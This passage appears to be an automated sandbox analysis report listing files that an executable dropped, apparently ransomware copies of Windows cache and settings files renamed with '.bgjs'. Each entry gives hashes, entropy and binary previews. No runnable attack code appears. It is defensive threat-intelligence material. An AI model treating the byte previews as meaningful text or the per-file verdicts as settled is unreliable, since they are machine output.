Preview:	..2]..Dq..E..H[...\8..8.j6ji.AG<...g.....!{...<:0....v. }6b...}.A......bBN...M.NK...@..3BH..oe.[....C..GV...D..3q..LY.....7.......A.F.d..H......._]..4S.@.I.aG..H.l.Z=..f...0...r.....X..>.].~j@.$f..n%.....%O0..@S.\|c.@.H............;T.g.....aN2..e. ~...hN..z!....x..b....O...KN......&.$.......1,x...?..Ol....e...(.i.3f.x\|....;U.....Zo(u......ZDN...=.U=.]...l ....H..N...c.. .~:.u..m+.....h.%...}..r>HE..{Y'.L9Jr/..V.....e2......).3...W...0vt.l.7...TtPx...H.-?\|@....V..j...&&jq..U..../5.....q..)...W..}.U.....8...o>.L%.9q.<K......]..:x~X"O'Tc.Os....XWx.*..[{...../ .-wi..b.m...&2......F.%>.....i..!h.\..V..@(.Z~r/._=...._....~..$,..#h.....x0.\|`......H.1....7.Z.RR(`Y...$......S...C..E...f.6.1..Q-.7.>_..67...MK.@.R.a"..S<{j})..i{..p.o..6.."L?\|.Q.......(M.g.=.v....V....57..f. ....Z."..6<"...)..S..,..T2..8~.L..cP...,z%f".P.....i5...D..l>.x.....9_.jzy.7..}h.Z..3f.>...k...Lck..l..............s.!..v.g.r....$....!.3Y..PF....J?e....!.....~..a..

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208003463712316
Encrypted:	false
SSDEEP:	3072:kHntbgzEgn5LVCrlhqJwy76Fffw19g1isgGAC+OK75AjijOTxN6hpzLxd:kNUwC0rl8OloItg/ADTkpzLxd
MD5:	DF8F159E2A124FECB573E87604DFC9F6
SHA1:	96CF64703AC43D8C4DDB307064EE6470E6B7BF38
SHA-256:	523DC4BF0E1E8844A262C052975C8EA382B966D848429C9A3491B03EB8442A39
SHA-512:	E2CC7C8F9BBEFD639ACCD34EA54C34E0A7A5CBEE1D2A69EA4BAA08AFA3337C1722657EB2D64DC6FD3AFE3CB92DB2CD9825F3884E7527A48F09DF5B5E5D16B340
Malicious:	false
Preview:	......cS.;\|qV..$?$.h..COHj..rV..J..~.t....ExAE.dC...O`..11.)..#..Q~..eI.d.GL.I.....P..9. ...u..C.;..#.....,8....!(.....N.jT(.F...6K...(...O.g.0_..`.\.;b.I....-0,\Dx....94]..s...V..^jL.yF..3P.......yO.e#M..Z.3.O).]....<.:t..b..6..$.6.+....%.'R...).R..<.UE..`..W..n .y....q.H.8L.K.=.1......M.K..i.... .H.w.L.H........}....cuE.........OoHx..N.S.TP..{,.k....<..&._\.D1WWB~`.....V...F..k.q.=...@x#KF.....l2...1...!Gz.....m.0E].9.o..uL^..@s<..>..Ku.O.c#.1Ts.H3.,..oI.4.Y..ID'Y(v_..SD......(.7C...E............).....6......=v....RJ5o<D.........0....&......^.:./hl8.....>..8..IeTN.9.}.w.v......$.'./....>$@q7i..E...........@@.4_.....ab...b$2.:5..Y.......7zfY./.....YR..4'yH.6.}..9..Tc...<...[.U;...OyM.j5.>i......J@K..L...f...j0.a.$Nk..............;?."n..9L.c..F;.../...*...-o....eL.+yrD.>E..$FA..)...n...T..6.D.!3..R/..A..0i.y/.'R.:[.h?..r.....T.......7.j8./..t.o.b....<z.n.ZK<..'.1K9.i^W..SSR...j....{.....-f..:i.^7^.2!.z......`........h.F...P..n.

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2085951237278203
Encrypted:	false
SSDEEP:	3072:yKD5xamZSwqiqzolroZiZ5ofGPlfIA6Gqj37VhuGFFxVrHdfM0:yKqm2i1WeTFxOXlFHM0
MD5:	36C2553D60C149478029B194D34BD38B
SHA1:	654CC26E98BC149706094DF37315C9DE7EA2A6DE
SHA-256:	E5121839214247789EFAD869C0512F008E767A8BCD3045F2596A7A63C814DD38
SHA-512:	B53B23A47CC0A7085A952F3925B80641EA805508167446A1D3F199E358C197706502CB01C775E16110291D408BFFCBB34EE45608558ED547C14DD1A1F46FB8EE
Malicious:	false
Preview:	......0..IB.s.;&A..II1.....g.....YQ....c>.1Jjv<..r./.zX..0\..b...u......\|..}...H..nOB].2..{...a9.c.qO.y............Q'.<......z.Os..V.L!......}....m ...wy....!...6.....Y....mD.B...F./r.o.y..S8...g..."....~..6.<...)_......u.q1.7H.....xFT.5.fTt5..b.1..C..;.Q.s......w,....6.._:...(.0..q.F.z(....?hb.=...F.i......[L.nX.t-..,.M..d..Q\M..%V.....M.C.e..8....2..=...p....I.d..8..4.$...X8.;H.*.y..M.l1....[.k%....I..O.Fw2....t.VaE...Ko.}.c.tf.p.......V..I.k...6.N....C..z.V.f..F..O+.6d....;...p.....:..d.Uhp...,...... ..G..LL........p...V.Y...~[..+uX.....%.Do>F!Z+..S.x.qE=.&.....[..A...t\|.....i.C6...[..n=..h...D....T.U-@.t.e......}'.@M.4.O..'...Uy.KT.v.A.#M...5.....+v_E({@......Q...ZXw....>..Fn\|.m...M.m4. ..xd...l%n......y\|.f.F.....%.I..,.....RI....1.2q....e.f..j...{.']....D.....=q_F......].n;%..d.X..i..!Q.....yLP..g........K.5Q.H.R>...h.u.j...q.(.)...v.8n.'..[...=.x..M......6.."..M...2....h...i...h......S{.Mb....0....L....yE.....k-..W.n.i.....x.e.....

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01tmp.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.592552743521182
Encrypted:	false
SSDEEP:	6144:7G6LtBB3GaaWdrzyYK6k+K9WoITfsvBxvqcnfxngsHIN0HTcAd+b67RG+rdsxQny:7G6hWcdrWMKETk/nni+Q+y
MD5:	87EA4FAAB0C9688967A97BC137256C4B
SHA1:	4B1FBA515D7455EDCB22CAAAB302001ACDFC5149
SHA-256:	61EEFCF08898CB2294DA3EFDE6032C644238BB62CAC27D6100BF1B17F906289E
SHA-512:	C356AF29199E069C7F679D33DD7CACED1894CC494B2531D7EFA92A52C7AA34C90146ECF7DCF6C5737DAAFA0D92AF6C4E92CF215DFE96B568ABC38D0F1399E3B3
Malicious:	false
Preview:	\.......Y...G...g6..d..r...L...#.f......7....;.zz.O...y....X..`t....Q..RXG..@..[.....Y..Q.lw.Iz.c5.......yH.!++.v....X.~.Ai...8r.!.x..A.....M.....i...,..].5....I3.3..F....$Pb.(NuC@.x%.#]......:...............Y.J$. ......8UBI{.............i.B9[./.....'2..;..\.G.a..qVO.Q:.j./.a.2#.1.9.\|...P.F.9n..{d....{.0.........!.z0.>#M>7.W;.,...1_m..".Z...%........u..OX.G^..r..~....BT..rN.j\.B..E4..I...W......q....."..Q.......).T,Xp....e.....z..3n.i...G..J....d%.M/........2.$H.......C.\c.9%........4....p....q\xC.\....W.D..M......_.m.>....0...3cO.Q&Q.+..mx...w.{..l_...W.F...."$.!...I...\....<.L&.B....TG.g...L.......^I3.4..Tw..(y.!(..t.....p.6h.\........h\|{.._..e5.M. .J...8.r,.$2...W.$/..'.....6...e.vV.R..)(..n....8A.....:.t.....~B.dv.;......)."..... p.T...a..W.....)S&$.....e..j.h.m. Ij.....y...Th7.B.7.>W......g.4..D.....,...>.....L#.P.J....=XfY..K*u..-.<&.......`../.t..-.B.$<.f..W.`..\|.....E"&.'....x.".BE1...V....,.QAo...8..n.x.4..

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.992399410926838
Encrypted:	true
SSDEEP:	384:K8YaThkFKPnY1e+hzg4RqsU+2DQl1JLCwNIKKLdb/hWY/3pWfQViyEo9:KCPY0+pgcUvDEJLCwm//1WTy
MD5:	70205193340F9FEEF1466A54AFDDE642
SHA1:	F938C0AC91693D076CEAECF7CF35D0B8E6EF7886
SHA-256:	6EDDBCA2A5D0E89AD5757AD04508D40265F36992CEBF0714E43148E80DB7B161
SHA-512:	96CB59D29BB2606976A00202B4ADE3EC7193E036C02E42E1058152B39D8FD511247E4BCC8677CAAE9E0D4431322BB22DB65EBD4DBA94FB15C0C5F8B91F1A8002
Malicious:	true
Preview:	......YF..w....@G..+..w\...$I....p."...P....Gm.D...`.`7.....C@...l..l..gV.P....!.>qxC.c=..D>.....b=.C._..u...K.x.t.\G`2.P..h.....<....+....%A~...x....c......f..%]!......I.!....8x.gq...GQ..V9ce}.{q...z..9.W.h.f<......hk~;.$l,b........5..~;pkj.bY.o.h....+..#.....,.......n..OX..'...(._............(..{x.{.B4.w..\|vQ.....8.cda.s.L.].k....a.=.^..'.B.]........>..(...O9.+....X...s...v}....[.R.^;S..........o...<...........9....F.P....?..k.......#.p....<...Hoh....FO3.z...~....m?.._t.l}H...V...pQTQ.qk....@4.H\|.l.'..g....?..N.KA.!..).RP.+6..D.A".e}.72.]...Yal[....+..........0X..s.....Q3GQ..2..T.=f....y.,-U.Cx.?!I..w.J.$p..Y?.OhO...{DlTx......+..s.r.t.MzKN.)..:.IeY..y......1....).i.i..n..... .,..J.o....{...B."....s.z....9"..p#....d.+.D..]..!?...C.;.A..7i...]N....N.Q[.y@..W.x sAm.....?.N..M.7....vg.........N.......LD.f..\|B....^.W$.`........^Du... .B.).....k..gdI.\|{..Q.H......\..H"...M.....g.S..W..f......R..........q2=....U

C:\Users\user\Local Settings\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977310402829082
Encrypted:	false
SSDEEP:	192:TZJbMeQyWLiX1YQcZlhXT0NETuTeuXYfyNZ+Me7+VRLFouH9N2:TQkiYYQal10CTuVXQyNg+pR9N2
MD5:	35D8561C115A41549337A704C28801A8
SHA1:	6AE733E96DC4A8990F47C4B9A2035049BC799CFB
SHA-256:	1DBEA5FDC84F5112D86FC79D9C03FAC82FC99A01ABFE1754F2CB190369ACE5D8
SHA-512:	BE7B846F2664B7D0C7BAD278C652A240D8E2D05BE5A38496362264C6AFBF508AED071740F98B56ECC5AF2D60CEEDDCCEDE4FA97398EA0CB0D5A912F8630E0510
Malicious:	false
Preview:	regf.5...C.a.h..a)..@..j...#P.@...........Yp2..{.$.K......Y.zs.Nc.......?...$.Pwa^^y.'.e...5..M...#....j..........2.Qo...t..i.>j..o...I$.\9.u?...s1.t\|......`..86.3.E.z.j+=.pU....^]C..4F\A.gD.z.P......X&.z.....X...f...2......Y.Y..0..WA..<.c....D.........>.z.$.z.{..E>.V.w.4...c......\}=.E.Y(.mq..o..`..63`..L.?..?B. ....................R.......h.x&..H."/J.x.....~.BC..,......+^........8.P..k.. .0.@....^f(..2.....D...\D....S.-4..9t,&U..7o....[..e.....c..AE._MpN...2.8&...F....[]l.K.k.\|eaG.......X..E..I&..E.Y......=!.....f7....w....Q..@&.z.....x.....O..:s.=i&.m...Le.jI.x......r.].!`...8..6<U...3L..x...P.0\|...r..8..`s..........l.m.$ ..jA....O..5.R......K. ..1..4........Bi....q./.K.nH.\..)..=....v.b.BM.E..f...i.........}{.;.R(.........qOG.....-..z.6.C....W`Kz.. .o..Tiw.Y.:.U"p...Q4"..Q......U............(.p>N..s...1..{/.W....W..pZln..1.lU.M...P...+Z...o.-9[+u......7.....F.........U6.@..5n.s.,..f....0.lJW....B7pMnz....................`".

C:\Users\user\Local Settings\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979620142010113
Encrypted:	false
SSDEEP:	192:nCb4XjaKPSXduSAWg/CVzAtIz8E+Zr7dQXxmBiLf:daaS3D8I+pBs1f
MD5:	0564D2C7647D60C5D78176A57CD86FC9
SHA1:	6A9D824837AD21F712165AEC464D4AFF50BCD4DF
SHA-256:	E2E616B2539708AB73D760AFFC90050C6ECA116118DB561E14FAFCE81A9DC151
SHA-512:	495D0D641D6926C73C235EC74CD391A9703EEDF62CB47E00C8C3653F7C2C07E54E0A91EB1A3422D9331D6B9C986FC34476B081C9135A08FD32D67414A76345BF
Malicious:	false
Preview:	regf.fs1....C......g..[.S...z.m..o3.~....."Y.:..M....}\v.....1I..h....8..)@;s.....).U.. W.....O...."RU_....-c.....&l.@..Ri.;..XR.o9.....).$grK.).'...(Q.a....t......@....&..Z.tn...m.L..k........O...k\|}.:..[..1u..iR.T...dlU.....^.(T..........x..y...r.$l.R f)..!oR..B..&..8....P!.h.E..:...H..O.....y!&..y..R...............BB=j%....'.Zb..........Qe@.3[=./.E..\...U..7#l.K[..EaRNw+....-...f...,..FF.Y6.vuW.JY<B.`yQ$...i.i!5..i....j~..NQT..Mvin..P0.J.(J..,EO......6....v..V{U""-.\|....h.H..K......!.0.?X.Y.Y8*/vQ..L.f.2...w.....eN.....R...I..-.!....p\|r.].i.}.#..u..gE/.\|.XM}uR."..~..H..e..0..{...(.4.U.7...6.....J.....1./'.?L..?..t.(Q+..s.O..(,g...c.W..)...@..3....D.....\I.....?..=..R-......7._.L.~.G8.....F....m..m..gF>.K......>.AYy..K..F.....b...g.OB.E....9.......zv.[/.g..........I..J.~#im.(....WV...%..7w.9!...i{..v.i@...EK........a..B....Bv.V.0.@....,5.9..2._..(.p....0..u....E.Ah..........?.....!.e.(+.7.AP3BV.B.Y[.T.Tcz/..&...].N..b7..Q.6Ri,.!...i..H.

C:\Users\user\Local Settings\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981235081561238
Encrypted:	false
SSDEEP:	192:61LkwtwGrNL2yea8z6M3fULyFvbOhLSfKwy9ANTth1jHWDHwREAa:6p3aRaagypgLmKngTb1jHWDHwU
MD5:	4A801D374DAF696B67541C24D07D16CD
SHA1:	F84F9F801425653C0FECBABA2949AA69182E5173
SHA-256:	C5A80686F0382F8F6270F22FCDC385140B4D5B93588182A479CD1739D03AF563
SHA-512:	8F297FFF2639628639F867F57C603C90477DC6BE6C6AF9971E3E5C68116EA8548C8C86DEF17237BEB7895E3EFB110CA9AD7695B9DF2669E8AAB181AFB4769C1C
Malicious:	false
Preview:	regf....l..I<2\.:...0..g.+.G>#../.\|...8..9]..ni..Yx.5g.;....G..O...~.....).....I...J6....N.Al;.'......nf...FW.nQ.J.6.?.k{...b.%P..<i..F.c........Ax..1....V.!...\y.z.....lG.8.SO...5.6A..l.s.$. ....hZ.d5gy..+'=.._..y...!=m...,w..c.L2B...f]....X$..3...6...N...bDs{...K....j2J...m.y.......U..(.7{!Z..je.w.!.$[.....^..2..!..@^..........F.j<9Zx....cjn.>.}S.2.....]\.e...J.un.O....Z.(.u"x..3).vc{...-....5K...R...3k.ZI`.ZU.[....fW...9:x'....E.P...J......L.:.4w !.....a..$.'..J..-.....I...1.....k.Q.Sc....V...?..&......e..f.H6....ml.;....#.....Tj.....14.o..<.P.&.a.1.1P.z.6.:@Da...x.......G._2........~....,.@..5E.:....2.uc0,....gR.>._^Wt..d.Bt...p........v.....:.ApK..,D...x.0v.~.??S\|(..`....o).v...e...\..JH.t)oNlqN.i].P +.k..&n+b6S...-WL.'8>I.....s.2......u..Ym,..p#.ut....f ..w.[..{.!........3.....6m@.`..y......'J8.......xA].R..Y..h9...'..;...I.c.Y...e</:;...n.2....q.....TV.....)...gF .^;.).J..p ..+.jbo]....T...$.....(..4.e........r.h.Z..y_.y..

C:\Users\user\Local Settings\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9788494285820954
Encrypted:	false
SSDEEP:	192:uupo977iE70NTQKxcFlyw9I/I9GS3d949wZJvNihcZcj1:uadlQQcFUKIuGStOQySGj1
MD5:	4904063996EF9DED9086A5B25BEC2375
SHA1:	812378073BB38667FCC6A7FBAD78A51DE111E3CA
SHA-256:	D66CE979AB3D2B49A836229EF799700987397CC8C806228FFCB50089DEEF8A3D
SHA-512:	B40B6F496AD27A1BA4DBFE3E0AE42F4640A352D0539BF0E1E833D63B20A652AA814304CA41CAA7AD04B34F361640C0777CCFA6AD39A772454E769B88B814F119
Malicious:	false
Preview:	regf..uK^r\)>.w.\..kGnk..2..o..{..N.$x....e`.9\..9..^...YP...c.cB.<#.........Z.~..I.......C.gz.U...t..FJf.<.3......]........\....e..y.X.!v...K..../.J.C.....{.T.......... ...s.d,VIt.~kKM)..R.))..A...t.j.....J$..p.e..9..i...G.'...aZ..LF.Y.n-...Y&\|M...........aj.k`.VX..I.~.tKB}..+..0..K.pM...A..I......k.p9/....T.1./.n.7......@..2..E.H..A+...z.'#...F..0s.o..s........ .....h0..A=..QY..t....\|...X0........c....TV...s.w....\jVpJ:.M..04Tx..c./.W./.un..<_Nf.#..5E....Gg....U......4<.V.h\{#4`. .....2u.}N...=_....4.V.U(.n%R..qGc&...Yc.B......a.....q.\....L....>....5&-W!@.`.T.U.8..$l..b(B...(61+`.......-..2./...,\'P.%....w`...D.C....G......../D...)S0..U...N.f..W}...k....OC.G...)..io.G.e..<..#.R.o..XO....F..4..{ j)..k_'.{..l.;.Z...,..aP8.....}.91...!..I..W. .......6}H..].....H..9(..>...nn=tI...s...E...^./.?j.Fy.U.y...KD..\|..h.....5..W].Lu. V-.?:s......ij.Z>x...a...cI.P......6...\.(......C.g..Z....-.c.....1Y..:N.9....+....#U.S..../..B(

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977683019928912
Encrypted:	false
SSDEEP:	192:dZTvYsTrIasaWZOuaB3Czfakrmd8THfjutF6AEZJ6olQ:Xvh8a0OuaB3CGkrmAHfjIWQ
MD5:	6E1DBCBB6A51F17B130D7D7DB4490E12
SHA1:	74CE1C68BE0A6D26323388A1DAFD9A240752DFBD
SHA-256:	5CEA58606DF2D2BA9CA750E74AF2F16C15577481B51DF67E8F5F6B631E30455B
SHA-512:	42F29768ED01A1EBFD7AC8682C674EDC6F066C4A743871224EDCA9F07A88349602EEFC8EF0A3C8BB93F6DDA240DE5CDFD29AF8C15E89A812A1C05A32BF4119B0
Malicious:	false
Preview:	regf..."A....W..g.b.Nj.......z..W.$..6._..\H.......:.f.......~....t..M.`.....E2.2.B:oD6.#..1.U.#im..'..<.6...&2/......X...k..X..a..nu@.&0x\|...:.....=X1..,@i..z];....@^L..C....U)..Y.N..\|<../.cg..w..\|....l#..........h.>...a.... v...6..(..u.[j.............H..B.[.(.1%?._.C#U...ii..;Y;.&.........C6..g4.....'.c..'....D6...5......n7m<g.O..._.@IR.+'.........U.Oq{\.]_....U4...D.J.J.(c..?j..]&....f..og......K}...n_.wP....V,.3...P.....1.e...+.+.B.\.~Iy-..[.R......q.w.~G..&.....H.q0p[\....-..bx.aO.J......kt...Y..t4.if.0..k....,...~.}?Q\.M..........{...3;.C.}...?./........v.......wA@.C....J.W...O...1.......u...LF.#M{d..x{...MM...<Kg.."...nvW.a&j..".N_.7..IuF..#.u..!N.,/..uP}...$5I..I..G G.2(. :.N..#..A8N".Br.s.q..j..+.x..R4E.J[3.....3.$,k..Z.+...u...8.d.iC....4}.[.P...u.g.s..9'..B......k.5-..T..J..}...._.,"H~...>c..}/.o....Nk..;.5.MJ:I`.T.<........$k.iKj..(.e...1........Oc.0...\|.B.M.....g":@.Y^...2..nT........I...M."\.x...v.7_.........[...d.

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97579576088706
Encrypted:	false
SSDEEP:	192:qhf0OJuEBusRXU1SiDEfbwTKwEihrDkbQ:UcEBFU14SYip8Q
MD5:	20476BD680024DA6872BE39761E1B820
SHA1:	94AEDB7D3287640F75469B07A117760DF0227715
SHA-256:	2DEAF026A2F2AD3E00A137A3DC3B46231778759077D4E523327FF33405F9C237
SHA-512:	D622239F9F8025E79003D6B5667ADDD7D56265B81572932F829BBDB73B7E67E526B8DBE20E470B15A985A0E7305923A090252AF1C3FB7C9EF263CE2D392BCFFA
Malicious:	false
Preview:	regf.A!..v2XD2..-..4.y.$....E......CK.S.....l....Vm..IG.....[.?.!j..Q8..V/.'yw...@59..WM.....~x..J......]!....sw~.<) .N63A.<.M...h..p.]........5eAi.."..p..wG.d8.B2gN.H....(H^.e....0P..............o....6.%.%...fW.......+..z....%.QF48\..".tk.....PM..t..8BH..@.22.........6.p....J,q..k.6....K.\|..&..7.s$....b...02..e......w.-..E8.....,........5 ...I........"y..$.{._x...`...=}.6.../.q.^@y.....K..[i..a....:.)..F.=.j....9k.....,uL<1l.E}..V.."O...6.3?..@R...?;.l._v/z..J...C. ...^t..TD..l...B.h.Y.......@s(..IS._F.....k.hc.L....f.8Q.RZ.........4..r0...4 \|\|H..}..... Y.xY.........c....^..[.>j;.K..U~.....'.....M\_.#;sC.U..B.3;.. .@....1..I.D.?-s.\.Gnx.z.&_..CJ.....%......^...t.G.-...q..@+...t....5nH@..(......N.....]hq8.1 .'.H...A>Rn:>....!;fr}0%.RXqb1 .....(.4Y.Y=..8..P..f,..W...R..\g..5...(..PG...kaN.............#.$..mR.........w.=$.).)U..9:DB..j,FJn......yH.Nb6+.G.......u..W..........S.J+..T.c........0.E.+o.#...>dU...[&;...URR...rf(..

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9800035708856205
Encrypted:	false
SSDEEP:	192:e6sCkREuHp4IxU3KRKAbRESCOSz6ZTJhYj:e/3R94Ia3CKk51hZ3o
MD5:	EBDD157ABEBD422286439E3A818C3B02
SHA1:	84B98223F17BAB93DD3EDEB7A0A6359C481B6201
SHA-256:	8D2FFDC3C2179DE3E7E9C17506A3432B8F09D7A54220C7171DB60F4B6196CC74
SHA-512:	8C4A9BAAAF0465A6DE0315F3963DAD4FBDE3943755BE3FF56DE8ACD85379851E5E04D21F79F5FED40C9ACC562CC42506CB36AA28C930C46DE5D6CF446DF1FDE5
Malicious:	false
Preview:	regf...[.64KM.......>.....x...`h..As.......NIk/.ZU...U..2.....Yx.;Y.\..C...W7.......}j)Z..~n....v...{...F..E.L6.K.#1Yr2I..M..Bh.l..s1.~..M}..-..o.o...+.,6.\|..j.6../.=..^...uo.%...`-.rpZ8.t.z.-......P0........u.b. .;..../.%P.....K../.q.M.T.1..~.l.......izmY#.{..`.}.....5.&.g....s...n..[.)..'P.J%1P.WM..f..E.#Be.O...2.8.....+{.K...~...$R{...]...H..AAPc..n.........!..!......f......M.C9KL}k.s....7...z.H[O.......7H.......E.Nbk..q9.1\!......Y0.\..........}..B-p...].M..].`..6.P.W6/51.......m"........fL.....#.<..D7C...y.\|.;4 .......m/.V..g/.^.I)..Be..<v......../c."...R0..K..=[).K.q.;..dz}.}hu0#+Lpv.Fs....a....l..%z....E.".Q.QH.o.0N...X...!.............Q......$,...~%............T.(...%... 8...5g...W./...~......v......k0.r..u..8.....M$&_.".7'.!..............4J.`&..4..n.......MM..7..T.@!u..vr/$.W.%.A.g5..(...8F..........-:s~.m.E.....VH..h+...a....t.....d...;..a..d~....r..l.....e.+...T.b.N?Z.O.#,.#....].W.M...>;p....<.k...w.g.h...C..

C:\Users\user\Local Settings\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979082811708201
Encrypted:	false
SSDEEP:	192:jwQ/WGKLNGdXwse+Vbg/fSLfG0dvZdmZ5OuvcS8JKc8P3WMnfKoJBA+6xDW:MgKxaX7e+V0/q9vOZNPyIP3WMnT0+6pW
MD5:	D2B61FED4F294F93D06E66E11EBB3F1F
SHA1:	9C1D62470546A3C63B02268E6D77C3377B3F4BEA
SHA-256:	4D5509ED7BC191CE5F04CF67E2FC02D31DAC29B74981BB552FC9B66AE7B46A20
SHA-512:	C89BCA7D1C17AFE9969D5F7D73AD5D4E2B3D8B7D6519C4EEA20B49F420C3DC4BF1BD7534BFF391E4DD500A62C9CE24358A45A31E7AC882414E0DA0F9CAFEF999
Malicious:	false
Preview:	regf...8H..8. O..........\|2.<..\/.H.Qd....+K...w.7./..........j3P..:."...X.s..V....&..%.:...Q1.._SM.U.^.....q...^.fx.'......c.m$..P..u.....xK........^z....7...-IX.~..g......G..2......fCr..Z....@23..^x.....}6...r.'8.Q.....j....&..r....Q.i..B...?...,........5.......Q...~.x....~....#:.:;M..9._..6..Ix.i.I.z-.a.S.........sx%..3....../..^Ib.Q.h.c..>.lR.+O....P..s}Y.....6A...!L....KP.'A..v..}+d.H.(<R....?'./......a....=......Y...C..%.RB..h.. .a....................[.;AK...K..t..,.i......djV..Z<.........H..M.w.xq..+i....Y..]D....EGV...6.6<4{\......Y.."..K...K~..Q=a=..K...4.#AX...Iv.+@..-....^..+.4.$.``u../.<.R..f...FS.ci.......T..H2..E........y......G.5iG$.fp..a.xsm..,..J^C.NN..........Faq0..j...{.p...f88.=...D.....z........P...^C...Mc}.ptk...."[%..q-#..b%.59aK9-.6...`[.ED.HM....x.0h.bZ.."1....u2..5......h....@"..%.^.,4e.C.....o0..'..H..F..........t.L+&...\|_"X.G..FHX..9.i....F../Q.C........TRe.....b...gJ......$..{Gt..pL< ..(...c1..`.+cdk..sv;..[.'.p

C:\Users\user\Local Settings\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9768920481015755
Encrypted:	false
SSDEEP:	192:FScPJSLqTPGG3K2rw95gPP+OQGmL75BDY7QRQ71prF2:FScP46G8rwxOmLns7oab0
MD5:	CE3CD2C88097E85A8D30DA09A166BE6A
SHA1:	D83BB97805F412B55749F64C56A2390103AA7819
SHA-256:	9B4878CFCD4666E52EDC5AE1124A63CA4D43BA12021972750CA58D4B83CF338D
SHA-512:	803E130A7FF5EDCA813F6FF0D81180E19C305E88CCA5E445BFFB2BA61675875B9C9314760951CF04BC3605CD2398A58EAE5B19B551DE7EB7E6EFADE501F55080
Malicious:	false
Preview:	regf.u.....v..:!k...D...D.._J&..!.4..t.cn.s.2."..t.b..Pb....5..ta^.W.....~it.`8...$...k.1.!./.8...4..xqf...#?....oh.eyN3......&.R_.M.....5.f....?.......].e0W.._...@.gwZ..s.E.`.\|Da......./.N;...a.V.......@..e..5..g.....HU....O..........8.r..RZ..-..d....sO.5...g<Q,&.....k@..o....cau..P...ke........W.<..e...8AI_...@..XW...a...y....^.@m....2y....V..b...g._.R.B..E/._...Q...xX.'7......1....;.....T...E............5.p../....n.cd..s..v.E.....@.T.@b...."h".x..7....l?+.%..K9u.C ..0V.h.........!@r..c}..^^R......R.....y..i3\|..?...........a..{X..".=...:.1Z......9...d......G..+....E\|.J(......s.]'T.M.. .xo........@5..;.t......... `.w.1..W..?.ZQ....wi. .B.6E...y..".+.,....O.?....YE.L...{fm..7.<S..gh..t..F..obJ.....\.nD...K).J.....DF\f%.tC+b."..:..l.Id.GI......K5.Qfo.I..x...1....K{71U..{^B...0...).z`X.U{w.pz...]....G;....&W.\|...j.64..8bi.])..xz..7..RO.U..9.. /J..Y.v..o..8.......h....U...MQm.......}..A..DW.>....?8...&..\..}w...99.Y...h...#..GV

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9796858231536305
Encrypted:	false
SSDEEP:	192:v83aoPYpCzmVVuQzJ8RHQ0ZtUjZ4tTcwlRz2x0:E3a8YpCzmXPJ+QyG4tIwlVt
MD5:	19E68BFBCA8B2A4A54EA3A524C338DC7
SHA1:	A24C24500109763B87AF39363F95295C90C92A64
SHA-256:	15411388037F89BCDC7F208EA9F78A5B101D41CE9AC546811CD2EAE91FF9CB3D
